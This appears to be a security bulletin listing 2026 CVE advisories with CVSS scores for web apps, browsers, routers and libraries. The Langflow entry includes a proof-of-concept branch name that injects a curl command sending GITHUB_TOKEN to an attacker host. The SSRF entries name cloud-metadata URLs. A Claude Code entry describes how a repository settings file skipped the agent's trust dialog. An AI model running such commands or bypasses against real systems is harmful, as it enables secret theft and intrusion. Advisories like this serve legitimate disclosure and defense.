CVE-2026-32940	incomplete blocklist — it blocks data:text/html and data:image/svg+xml in href attributes but misses data:text/xml and data:application/xml, both of which can render SVG with JavaScript execution. The unauthenticated /api/icon/getDynamicIcon endpoint serves user-controlled input (via the content parameter) directly into SVG markup using fmt.Sprintf with no escaping, served as Content-Type: image/svg+xml. This creates a click-through XSS: a victim navigates to a crafted URL, sees an SVG with an injected link, and clicking it triggers JavaScript via the bypassed MIME types. The attack requires direct navigation to the endpoint or <object>/<embed> embedding, since <img> tag rendering in the frontend doesn't allow interactive links. This issue has been fixed in version 3.6.1.	9.3	More Details
CVE-2026-33136	WeGIA is a web manager for charitable institutions. Versions 3.6.6 and below have a Reflected Cross-Site Scripting (XSS) vulnerability in the listar_memorandos_ativos.php endpoint. An attacker can inject arbitrary JavaScript or HTML tags into the sccd GET parameter, which is then directly echoed into the HTML response without any sanitization or encoding. The script /html/memorando/listar_memorandos_ativos.php handles dynamic success messages to users using query string parameters. Similar to other endpoints in the Memorando module, it checks if $_GET['msg'] equals 'success'. If this condition is met, it directly concatenates and reflects $_GET['sccd'] into an HTML alert . This issue is resolved in version 3.6.7.	9.3	More Details
CVE-2026-32754	FreeScout is a free help desk and shared inbox built with PHP's Laravel framework. Versions 1.8.208 and below are vulnerable to Stored Cross-Site Scripting (XSS) through FreeScout's email notification templates. Incoming email bodies are stored in the database without sanitization and rendered unescaped in outgoing email notifications using Blade's raw output syntax {!! $thread->body !!}. An unauthenticated attacker can exploit this vulnerability by simply sending an email, and when opened by any subscribed agent or admin as part of their normal workflow, enabling universal HTML injection (phishing, tracking) and, in vulnerable email clients, JavaScript execution (session hijacking, credential theft, account takeover) affecting all recipients simultaneously. This issue has been fixed in version 1.8.209.	9.3	More Details
CVE-2026-33502	WWBN AVideo is an open source video platform. In versions up to and including 26.0, an unauthenticated server-side request forgery vulnerability in `plugin/Live/test.php` allows any remote user to make the AVideo server send HTTP requests to arbitrary URLs. This can be used to probe localhost/internal services and, when reachable, access internal HTTP resources or cloud metadata endpoints. Commit 1e6cf03e93b5a5318204b010ea28440b0d9a5ab3 contains a patch.	9.3	More Details
CVE-2026-32913	OpenClaw before 2026.3.7 contains an improper header validation vulnerability in fetchWithSsrFGuard that forwards custom authorization headers across cross-origin redirects. Attackers can trigger redirects to different origins to intercept sensitive headers like X-Api-Key and Private-Token intended for the original destination.	9.3	More Details
CVE-2026-33286	Graphiti is a framework that sits on top of models and exposes them via a JSON:API-compliant interface. Versions prior to 1.10.2 have an arbitrary method execution vulnerability that affects Graphiti's JSONAPI write functionality. An attacker can craft a malicious JSONAPI payload with arbitrary relationship names to invoke any public method on the underlying model instance, class or its associations. Any application exposing Graphiti write endpoints (create/update/delete) to untrusted users is affected. The `Graphiti::Util::ValidationResponse#all_valid?` method recursively calls `model.send(name)` using relationship names taken directly from user-supplied JSONAPI payloads, without validating them against the resource's configured sideloads. This allows an attacker to potentially run any public method on a given model instance, on the instance class or associated instances or classes, including destructive operations. This is patched in Graphiti v1.10.2. Users should upgrade as soon as possible. Some workarounds are available. Ensure Graphiti write endpoints (create/update) are not accessible to untrusted users and/or apply strong authentication and authorization checks before any write operation is processed, for example use Rails strong parameters to ensure only valid parameters are processed.	9.1	More Details
CVE-2026-4283	The WP DSGVO Tools (GDPR) plugin for WordPress is vulnerable to unauthorized account destruction in all versions up to, and including, 3.1.38. This is due to the `super-unsubscribe` AJAX action accepting a `process_now` parameter from unauthenticated users, which bypasses the intended email-confirmation flow and immediately triggers irreversible account anonymization. This makes it possible for unauthenticated attackers to permanently destroy any non-administrator user account (password randomized, username/email overwritten, roles stripped, comments anonymized, sensitive usermeta wiped) by submitting the victim's email address with `process_now=1`. The nonce required for the request is publicly available on any page containing the `[unsubscribe_form]` shortcode.	9.1	More Details
CVE-2026-4750	Out-of-bounds Read vulnerability in fabiangreffrath woof.This issue affects woof: before woof_15.3.0.	9.1	More Details
CVE-2026-4753	Out-of-bounds Read vulnerability in slajerek RetroDebugger.This issue affects RetroDebugger: before v0.64.72.	9.1	More Details
	Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability. --- ### Details Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly		

CVE-2026-33475	in `run:` shell commands, such as: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` Or: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection. --- ### PoC 1. **Fork** the Langflow repository 2. **Create a new branch** with the name: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **Open a Pull Request** to the main branch from the new branch 4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`) 5. The `run:` step containing: ```yaml echo "Branch: ${{ github.head_ref }}" ``` Will execute: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. The attacker receives the CI secret via the exfil URL. --- ### Impact - **Type:** Shell Injection / Remote Code Execution in CI - **Scope:** Any public Langflow fork with GitHub Actions enabled - **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data --- ### Suggested Fix Refactor affected workflows to **use environment variables** and wrap them in **double quotes**: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: \| echo "Branch is: \"$BRANCH_NAME\"" ``` Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value. --- ### Affected Files (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`	9.1	More Details
CVE-2026-33340	LoLLMs WEBUI provides the Web user interface for Lord of Large Language and Multi modal Systems. A critical Server-Side Request Forgery (SSRF) vulnerability has been identified in all known existing versions of `lollms-webui`. The `@router.post("/api/proxy")` endpoint allows unauthenticated attackers to force the server into making arbitrary GET requests. This can be exploited to access internal services, scan local networks, or exfiltrate sensitive cloud metadata (e.g., AWS/GCP IAM tokens). As of time of publication, no known patched versions are available.	9.1	More Details
CVE-2026-4716	Incorrect boundary conditions, uninitialized memory in the JavaScript Engine component. This vulnerability affects Firefox < 149, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	9.1	More Details
CVE-2026-4715	Uninitialized memory in the Graphics: Canvas2D component. This vulnerability affects Firefox < 149, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	9.1	More Details
CVE-2026-33024	AVideo is a video-sharing Platform. Versions prior to 8.0 contain a Server-Side Request Forgery vulnerability (CWE-918) in the public thumbnail endpoints getImage.php and getImageMP4.php. Both endpoints accept a base64Url GET parameter, base64-decode it, and pass the resulting URL to ffmpeg as an input source without any authentication requirement. The prior validation only checked that the URL was syntactically valid (FILTER_VALIDATE_URL) and started with http(s)://. This is insufficient: an attacker can supply URLs such as http://169.254.169.254/latest/meta-data/ (AWS/cloud instance metadata), http://192.168.x.x/, or http://127.0.0.1/ to make the server reach internal network resources. The response is not directly returned (blind), but timing differences and error logs can be used to infer results. The issue has been fixed in version 8.0.	9.1	More Details
CVE-2026-33202	Active Storage allows users to attach cloud and local files in Rails applications. Prior to versions 8.1.2.1, 8.0.4.1, and 7.2.3.1, Active Storage's `DiskService#delete_prefixed` passes blob keys directly to `Dir.glob` without escaping glob metacharacters. If a blob key contains attacker-controlled input or custom-generated keys with glob metacharacters, it may be possible to delete unintended files from the storage directory. Versions 8.1.2.1, 8.0.4.1, and 7.2.3.1 contain a patch.	9.1	More Details
CVE-2026-32817	Admidio is an open-source user management solution. In versions 5.0.0 through 5.0.6, the documents and files module does not verify whether the current user has permission to delete folders or files. The folder_delete and file_delete action handlers in modules/documents-files.php only perform a VIEW authorization check (getFolderForDownload / getFileForDownload) before calling delete(), and they never validate a CSRF token. Because the target UUIDs are read from $_GET, deletion can be triggered by a plain HTTP GET request. When the module is in public mode (documents_files_module_enabled = 1) and a folder is marked public (fol_public = true), an unauthenticated attacker can permanently destroy the entire document library. Even when the module requires login, any user with view-only access can delete content they are only permitted to read. This issue has been fixed in version 5.0.7.	9.1	More Details
CVE-2025-15031	A vulnerability in MLflow's pyfunc extraction process allows for arbitrary file writes due to improper handling of tar archive entries. Specifically, the use of `tarfile.extractall` without path validation enables crafted tar.gz files containing `..` or absolute paths to escape the intended extraction directory. This issue affects the latest version of MLflow and poses a high/critical risk in scenarios involving multi-tenant environments or ingestion of untrusted artifacts, as it can lead to arbitrary file overwrites and potential remote code execution.	9.1	More Details
CVE-2026-31966	HTSlib is a library for reading and writing bioinformatics file formats. CRAM is a compressed format which stores DNA sequence alignment data. As one method of removing redundant data, CRAM uses reference-based compression so that instead of storing the full sequence for each alignment record it stores a location in an external reference sequence along with a list of differences to the reference at that location as a sequence of "features". When decoding CRAM records, the reference data is stored in a char array, and parts matching the alignment record sequence are copied over as necessary. Due to insufficient validation of the feature data series, it was possible to make the `cram_decode_seq()` function copy data from either before the start, or after the end of the stored reference either into the buffer used to store the output	9.1	More Details

	sequence for the cram record, or into the buffer used to build the SAM `MD` tag. This allowed arbitrary data to be leaked to the calling function. This bug may allow information about program state to be leaked. It may also cause a program crash through an attempt to access invalid memory. Versions 1.23.1, 1.22.2 and 1.21.1 include fixes for this issue. There is no workaround for this issue.		
CVE-2026-27067	Unrestricted Upload of File with Dangerous Type vulnerability in Syarif Mobile App Editor allows Upload a Web Shell to a Web Server.This issue affects Mobile App Editor: from n/a through 1.3.1.	9.1	More Details
CVE-2026-32238	OpenEMR is a free and open source electronic health records and medical practice management application. Versions prior to 8.0.0.2 contain a Command injection vulnerability in the backup functionality that can be exploited by authenticated attackers. The vulnerability exists due to insufficient input validation in the backup functionality. Version 8.0.0.2 fixes the issue.	9.1	More Details
CVE-2025-60949	Census CSWeb 8.0.1 allows "app/config" to be reachable via HTTP in some deployments. A remote, unauthenticated attacker could send requests to configuration files and obtain leaked secrets. Fixed in 8.1.0 alpha.	9.1	More Details
CVE-2026-22732	When applications specify HTTP response headers for servlet applications using Spring Security, there is the possibility that the HTTP Headers will not be written. This issue affects Spring Security: from 5.7.0 through 5.7.21, from 5.8.0 through 5.8.23, from 6.3.0 through 6.3.14, from 6.4.0 through 6.4.14, from 6.5.0 through 6.5.8, from 7.0.0 through 7.0.3.	9.1	More Details
CVE-2026-29103	SuiteCRM is an open-source, enterprise-ready Customer Relationship Management (CRM) software application. A Critical Remote Code Execution (RCE) vulnerability exists in SuiteCRM 7.15.0 and 8.9.2, allowing authenticated administrators to execute arbitrary system commands. This vulnerability is a direct Patch Bypass of CVE-2024-49774. Although the vendor attempted to fix the issue in version 7.14.5, the underlying flaw in ModuleScanner.php regarding PHP token parsing remains. The scanner incorrectly resets its internal state ($checkFunction flag) when encountering any single-character token (such as =, ., or ;). This allows attackers to hide dangerous function calls (e.g., system(), exec()) using variable assignments or string concatenation, completely evading the MLP security controls. Versions 7.15.1 and 8.9.3 patch the issue.	9.1	More Details
CVE-2026-32633	Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.2, in Central Browser mode, the `/api/4/serverslist` endpoint returns raw server objects from `GlancesServersList.get_servers_list()`. Those objects are mutated in-place during background polling and can contain a `uri` field with embedded HTTP Basic credentials for downstream Glances servers, using the reusable pbkdf2-derived Glances authentication secret. If the front Glances Browser/API instance is started without `--password`, which is supported and common for internal network deployments, `/api/4/serverslist` is completely unauthenticated. Any network user who can reach the Browser API can retrieve reusable credentials for protected downstream Glances servers once they have been polled by the browser instance. Version 4.5.2 fixes the issue.	9.1	More Details
CVE-2026-32698	OpenProject is an open-source, web-based project management software. Versions prior to 16.6.9, 17.0.6, 17.1.3, and 17.2.1 are vulnerable to an SQL injection attack via a custom field's name. When that custom field was used in a Cost Report, the custom field's name was injected into the SQL query without proper sanitation. This allowed an attacker to execute arbitrary SQL commands during the generation of a Cost Report. As custom fields can only be generated by users with full administrator privileges, the attack surface is somewhat reduced. Together with another bug in the Repositories_module, that used the project identifier without sanitation to generate the checkout path for a git repository in the filesystem, this allowed an attacker to checkout a git repository to an arbitrarily chosen path on the server. If the checkout is done within certain paths within the OpenProject application, upon the next restart of the application, this allows the attacker to inject ruby code into the application. As the project identifier cannot be manually edited to any string containing special characters like dots or slashes, this needs to be changed via the SQL injection described above. Versions 16.6.9, 17.0.6, 17.1.3, and 17.2.1 fix the issue.	9.1	More Details
CVE-2026-30704	The WiFi Extender WDR201A (HW V2.1, FW LFMZX28040922V1.02) exposes an unprotected UART interface through accessible hardware pads on the PCB	9.1	More Details
CVE-2026-30701	The web interface of the WiFi Extender WDR201A (HW V2.1, FW LFMZX28040922V1.02) contains hardcoded credential disclosure mechanisms (in the form of Server Side Include) within multiple server-side web pages, including login.shtml and settings.shtml. These pages embed server-side execution directives that dynamically retrieve and expose the web administration password from non-volatile memory at runtime.	9.1	More Details
CVE-2026-33186	gRPC-Go is the Go language implementation of gRPC. Versions prior to 1.79.3 have an authorization bypass resulting from improper input validation of the HTTP/2 `:path` pseudo-header. The gRPC-Go server was too lenient in its routing logic, accepting requests where the `:path` omitted the mandatory leading slash (e.g., `Service/Method` instead of `/Service/Method`). While the server successfully routed these requests to the correct handler, authorization interceptors (including the official `grpc/authz` package) evaluated the raw, non-canonical path string. Consequently, "deny" rules defined using canonical paths (starting with `/`) failed to match the incoming request, allowing it to bypass the policy if a fallback "allow" rule was present. This affects gRPC-Go servers that use path-based authorization interceptors, such as the official RBAC implementation in `google.golang.org/grpc/authz` or custom interceptors relying on `info.FullMethod` or `grpc.Method(ctx)`; AND that have a security policy contains specific "deny" rules for canonical paths but allows other requests by default (a fallback "allow" rule). The vulnerability is exploitable by an attacker who	9.1	More Details

	can send raw HTTP/2 frames with malformed `:path` headers directly to the gRPC server. The fix in version 1.79.3 ensures that any request with a `:path` that does not start with a leading slash is immediately rejected with a `codes.Unimplemented` error, preventing it from reaching authorization interceptors or handlers with a non-canonical path string. While upgrading is the most secure and recommended path, users can mitigate the vulnerability using one of the following methods: Use a validating interceptor (recommended mitigation); infrastructure-level normalization; and/or policy hardening.		
CVE-2026-24060	Service information is not encrypted when transmitted as BACnet packets over the wire, and can be sniffed, intercepted, and modified by an attacker. Valuable information such as the File Start Position and File Data can be sniffed from network traffic using Wireshark's BACnet dissector filter. The proprietary format used by WebCTRL to receive updates from the PLC can also be sniffed and reverse engineered.	9.1	More Details
CVE-2026-4599	Versions of the package jsrsasign from 7.0.0 and before 11.1.1 are vulnerable to Incomplete Comparison with Missing Factors via the getRandomBigIntegerZeroToMax and getRandomBigIntegerMinToMax functions in src/crypto-1.1.js; an attacker can recover the private key by exploiting the incorrect compareTo checks that accept out-of-range candidates and thus bias DSA nonces during signature generation.	9.1	More Details
CVE-2026-33297	WWBN AVideo is an open source video platform. Prior to version 26.0, the `setPassword.json.php` endpoint in the CustomizeUser plugin allows administrators to set a channel password for any user. Due to a logic error in how the submitted password value is processed, any password containing non-numeric characters is silently coerced to the integer zero before being stored. This means that regardless of the intended password, the stored channel password becomes 0, which any visitor can trivially guess to bypass channel-level access control. Version 26.0 contains a patch for the issue.	9.1	More Details
CVE-2026-33351	WWBN AVideo is an open source video platform. Prior to version 26.0, a Server-Side Request Forgery (SSRF) vulnerability exists in `plugin/Live/standAloneFiles/saveDVR.json.php`. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the `$_REQUEST['webSiteRootURL']` parameter is used directly to construct a URL that is fetched server-side via `file_get_contents()`. No authentication, origin validation, or URL allowlisting is performed. Version 26.0 contains a patch for the issue.	9.1	More Details
CVE-2026-31967	HTSlib is a library for reading and writing bioinformatics file formats. CRAM is a compressed format which stores DNA sequence alignment data. In the `cram_decode_slice()` function called while reading CRAM records, the value of the mate reference id field was not validated. Later use of this value, for example when converting the data to SAM format, could result in the out of bounds array reads when looking up the corresponding reference name. If the array value obtained also happened to be a valid pointer, it would be interpreted as a string and an attempt would be made to write the data as part of the SAM record. This bug may allow information about program state to be leaked. It may also cause a program crash through an attempt to access invalid memory. Versions 1.23.1, 1.22.2 and 1.21.1 include fixes for this issue. There is no workaround for this issue.	9.1	More Details
CVE-2026-32751	SiYuan is a personal knowledge management system. In versions 3.6.0 and below, the mobile file tree (MobileFiles.ts) renders notebook names via innerHTML without HTML escaping when processing renamenotebook WebSocket events. The desktop version (Files.ts) properly uses escapeHtml() for the same operation. An authenticated user who can rename notebooks can inject arbitrary HTML/JavaScript that executes on any mobile client viewing the file tree. Since Electron is configured with nodeIntegration: true and contextIsolation: false, the injected JavaScript has full Node.js access, escalating stored XSS to full remote code execution. The mobile layout is also used in the Electron desktop app when the window is narrow, making this exploitable on desktop as well. This issue has been fixed in version 3.6.1.	9.0	More Details
CVE-2026-32703	OpenProject is an open-source, web-based project management software. In versions prior to 16.6.9, 17.0.6, 17.1.3, and 17.2.1, the Repositories module did not properly escape filenames displayed from repositories. This allowed an attacker with push access into the repository to create commits with filenames that included HTML code that was injected in the page without proper sanitation. This allowed a persisted XSS attack against all members of this project that accessed the repositories page to display a changeset where the maliciously crafted file was deleted. Versions 16.6.9, 17.0.6, 17.1.3, and 17.2.1 fix the issue.	9.0	More Details
CVE-2026-27540	Unrestricted Upload of File with Dangerous Type vulnerability in Rymera Web Co Pty Ltd. Woocommerce Wholesale Lead Capture allows Using Malicious Files.This issue affects Woocommerce Wholesale Lead Capture: from n/a through 2.0.3.1.	9.0	More Details
CVE-2026-32891	Anchorr is a Discord bot for requesting movies and TV shows and receiving notifications when items are added to a media server. Versions 1.4.1 and below contain a stored XSS vulnerability in the Jellyseerr user selector. Jellyseerr allows any account holder to execute arbitrary JavaScript in the Anchorr admin's browser session. The injected script calls the authenticated /api/config endpoint - which returns the full application configuration in plaintext. This allows the attacker to forge a valid Anchorr session token and gain full admin access to the dashboard with no knowledge of the admin password. The same response also exposes the API keys and tokens for every integrated service, resulting in simultaneous account takeover of the Jellyfin media server (via JELLYFIN_API_KEY), the Jellyseerr request manager (via JELLYSEERR_API_KEY), and the Discord bot (via DISCORD_TOKEN). This issue has been fixed in version 1.4.2.	9.0	More Details
	SiYuan is a personal knowledge management system. In versions 3.6.0 and below, the backend renderREADME function uses lute.New() without calling SetSanitize(true), allowing raw HTML embedded in		

CVE-2026-33066	Markdown to pass through unmodified. The frontend then assigns the rendered HTML to innerHTML without any additional sanitization. A malicious package author can embed arbitrary JavaScript in their README that executes when a user clicks to view the package details. Because SiYuan's Electron configuration enables nodeIntegration: true with contextIsolation: false, this XSS escalates directly to full Remote Code Execution. The issue was patched in version 3.6.1.	9.0	More Details
CVE-2026-33067	SiYuan is a personal knowledge management system. Versions 3.6.0 and below render package metadata fields (displayName, description) using template literals without HTML escaping. A malicious package author can inject arbitrary HTML/JavaScript into these fields, which executes automatically when any user browses the Bazaar page. Because SiYuan's Electron configuration enables nodeIntegration: true with contextIsolation: false, this XSS escalates directly to full Remote Code Execution on the victim's operating system — with zero user interaction beyond opening the marketplace tab. This issue has been fixed in version 3.6.1.	9.0	More Details
CVE-2025-33244	NVIDIA APEX for Linux contains a vulnerability where an unauthorized attacker could cause a deserialization of untrusted data. This vulnerability affects environments that use PyTorch versions earlier than 2.6. A successful exploit of this vulnerability might lead to code execution, denial of service, escalation of privileges, data tampering, and information disclosure.	9.0	More Details

OTHER VULNERABILITIES

CVE Number	Description	Base Score	Reference
CVE-2026-4487	A vulnerability was determined in UTT HiPER 1200GW up to 2.5.3-170306. This impacts the function strcpy of the file /goform/websHostFilter. This manipulation causes buffer overflow. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized.	8.8	More Details
CVE-2026-4459	Out of bounds read and write in WebAudio in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-4342	A security issue was discovered in ingress-nginx where a combination of Ingress annotations can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)	8.8	More Details
CVE-2026-4457	Type Confusion in V8 in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-4639	Vitals ESP developed by Galaxy Software Services has a Incorrect Authorization vulnerability, allowing authenticated remote attackers to perform certain administrative functions, thereby escalating privileges.	8.8	More Details
CVE-2026-4458	Use after free in Extensions in Google Chrome prior to 146.0.7680.153 allowed an attacker who convinced a user to install a malicious extension to potentially exploit heap corruption via a crafted Chrome Extension. (Chromium security severity: High)	8.8	More Details
CVE-2026-32321	ClipBucket v5 is an open source video sharing platform. An authenticated time-based blind SQL injection vulnerability exists in ClipBucket prior to 5.5.3 #80 within the `actions/ajax.php` endpoint. Due to insufficient input sanitization of the `userid` parameter, an authenticated attacker can execute arbitrary SQL queries, leading to full database disclosure and potential administrative account takeover. Version 5.5.3 #80 fixes the issue.	8.8	More Details
CVE-2026-33068	Claude Code is an agentic coding tool. Versions prior to 2.1.53 resolved the permission mode from settings files, including the repo-controlled .claude/settings.json, before determining whether to display the workspace trust confirmation dialog. A malicious repository could set permissions.defaultMode to bypassPermissions in its committed .claude/settings.json, causing the trust dialog to be silently skipped on first open. This allowed a user to be placed into a permissive mode without seeing the trust confirmation prompt, making it easier for an attacker-controlled repository to gain tool execution without explicit user consent. This issue has been patched in version 2.1.53.	8.8	More Details
CVE-2026-4529	A vulnerability was identified in D-Link DHP-1320 1.00WWB04. This affects the function redirect_count_down_page of the component SOAP Handler. Such manipulation leads to stack-based buffer overflow. The attack can be executed remotely. The exploit is publicly available and might be used. This vulnerability only affects products that are no longer supported by the maintainer.	8.8	More Details
CVE-2026-4314	The 'The Ultimate WordPress Toolkit – WP Extended' plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 3.2.4. This is due to the `isDashboardOrProfileRequest()` method in the Menu Editor module using an insecure `strpos()` check against `$_SERVER['REQUEST_URI']` to determine if a request targets the dashboard or profile page. The `grantVirtualCaps()` method, which is hooked into the `user_has_cap` filter, grants elevated capabilities including `manage_options` when this check returns true. This makes it possible for authenticated attackers, with Subscriber-level access and above, to gain administrative capabilities by appending a crafted query parameter to any admin URL, allowing them to update arbitrary WordPress options and	8.8	More Details

	appending a crafted query parameter to any admin URL, allowing them to update arbitrary WordPress options and ultimately create new Administrator accounts.		
CVE-2026-33848	Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in linkingvision rapidvms.This issue affects rapidvms: before PR#96.	8.8	More Details
CVE-2026-4534	A flaw has been found in Tenda FH451 1.0.0.9. This affects the function formWrlExtraSet of the file /goform/WrlExtraSet. This manipulation of the argument GO causes stack-based buffer overflow. The attack can be initiated remotely. The exploit has been published and may be used.	8.8	More Details
CVE-2026-4460	Out of bounds read in Skia in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-4680	Use after free in FedCM in Google Chrome prior to 146.0.7680.165 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-4535	A vulnerability has been found in Tenda FH451 1.0.0.9. This vulnerability affects the function WrlclientSet of the file /goform/WrlclientSet. Such manipulation of the argument GO leads to stack-based buffer overflow. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.	8.8	More Details
CVE-2026-4679	Integer overflow in Fonts in Google Chrome prior to 146.0.7680.165 allowed a remote attacker to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-4678	Use after free in WebGPU in Google Chrome prior to 146.0.7680.165 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-4677	Inappropriate implementation in WebAudio in Google Chrome prior to 146.0.7680.165 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-31962	HTSlib is a library for reading and writing bioinformatics file formats. CRAM is a compressed format which stores DNA sequence alignment data. While most alignment records store DNA sequence and quality values, the format also allows them to omit this data in certain cases to save space. Due to some quirks of the CRAM format, it is necessary to handle these records carefully as they will actually store data that needs to be consumed and then discarded. Unfortunately the `cram_decode_seq()` did not handle this correctly in some cases. Where this happened it could result in reading a single byte from beyond the end of a heap allocation, followed by writing a single attacker-controlled byte to the same location. Exploiting this bug causes a heap buffer overflow. If a user opens a file crafted to exploit this issue, it could lead to the program crashing, or overwriting of data and heap structures in ways not expected by the program. It may be possible to use this to obtain arbitrary code execution. Versions 1.23.1, 1.22.2 and 1.21.1 include fixes for this issue. There is no workaround for this issue.	8.8	More Details
CVE-2026-33849	Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in linkingvision rapidvms.This issue affects rapidvms: before PR#96.	8.8	More Details
CVE-2026-4449	Use after free in Blink in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-33001	Jenkins 2.554 and earlier, LTS 2.541.2 and earlier does not safely handle symbolic links during the extraction of .tar and .tar.gz archives, allowing crafted archives to write files to arbitrary locations on the filesystem, restricted only by file system access permissions of the user running Jenkins. This can be exploited to deploy malicious scripts or plugins on the controller by attackers with Item/Configure permission, or able to control agent processes.	8.8	More Details
CVE-2026-4451	Insufficient validation of untrusted input in Navigation in Google Chrome prior to 146.0.7680.153 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-4452	Integer overflow in ANGLE in Google Chrome on Windows prior to 146.0.7680.153 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-4261	The Expire Users plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.2.2. This is due to the plugin allowing a user to update the 'on_expire_default_to_role' meta through the 'save_extra_user_profile_fields' function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to elevate their privileges to that of an administrator.	8.8	More Details
CVE-2026-32693	In Juju from version 3.0.0 through 3.6.18, the authorization of the "secret-set" tool is not performed correctly, which allows a grantee to update the secret content, and can lead to reading or updating other secrets. When the "secret-set" tool logs an error in an exploitation attempt, the secret is still updated contrary to expectations, and	8.8	More Details

	the new value is visible to both the owner and the grantee.		
CVE-2025-55040	The import form CSRF vulnerability in MuraCMS through 10.1.10 allows attackers to upload and install malicious form definitions through a CSRF attack. The vulnerable cForm.importform function lacks CSRF token validation, enabling malicious websites to forge file upload requests that install attacker-controlled forms when an authenticated administrator visits a crafted webpage. Full exploitation of this vulnerability would require the victim to select a malicious ZIP file containing form definitions, which can be automatically generated by the exploit page and used to create data collection forms that steal sensitive information. Successful exploitation of the import form CSRF vulnerability could result in the installation of malicious data collection forms on the target MuraCMS website that can steal sensitive user information. When an authenticated administrator visits a malicious webpage containing the CSRF exploit and selects the attacker-generated ZIP file, their browser uploads and installs form definitions that create legitimate forms that could be designed with malicious content.	8.8	More Details
CVE-2025-55044	The Trash Restore CSRF vulnerability in MuraCMS through 10.1.10 allows attackers to restore deleted content from the trash to unauthorized locations through CSRF. The vulnerable cTrash.restore function lacks CSRF token validation, enabling malicious websites to forge requests that restore content to arbitrary parent locations when an authenticated administrator visits a crafted webpage. Successful exploitation of the Trash Restore CSRF vulnerability results in unauthorized restoration of deleted content to potentially inappropriate or malicious locations within the MuraCMS website structure. When an authenticated administrator visits a malicious webpage containing the CSRF exploit, their browser automatically submits a hidden form that restores specified content from the trash to a location determined by the attacker through the parentid parameter. This can lead to restoration of previously deleted malicious content, placement of sensitive documents in public areas, manipulation of website navigation structure, or restoration of outdated content that was intentionally removed for security or compliance reasons.	8.8	More Details
CVE-2026-4454	Use after free in Network in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2019-25647	PhreeBooks ERP 5.2.3 contains a remote code execution vulnerability in the image manager that allows authenticated attackers to upload and execute arbitrary PHP files by bypassing file extension controls. Attackers can upload malicious PHP files through the image manager endpoint and execute them to establish reverse shell connections and execute system commands.	8.8	More Details
CVE-2026-33854	Out-of-bounds Write vulnerability in MolotovCherry Android-ImageMagick7.This issue affects Android-ImageMagick7: before 7.1.2-10.	8.8	More Details
CVE-2026-1463	The Photo Gallery, Sliders, Proofing and Themes – NextGEN Gallery plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.0.3 via the 'template' parameter in gallery shortcodes. This makes it possible for authenticated attackers, with Author-level access and above, to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included.	8.8	More Details
CVE-2026-4455	Heap buffer overflow in PDFium in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to potentially exploit heap corruption via a crafted PDF file. (Chromium security severity: High)	8.8	More Details
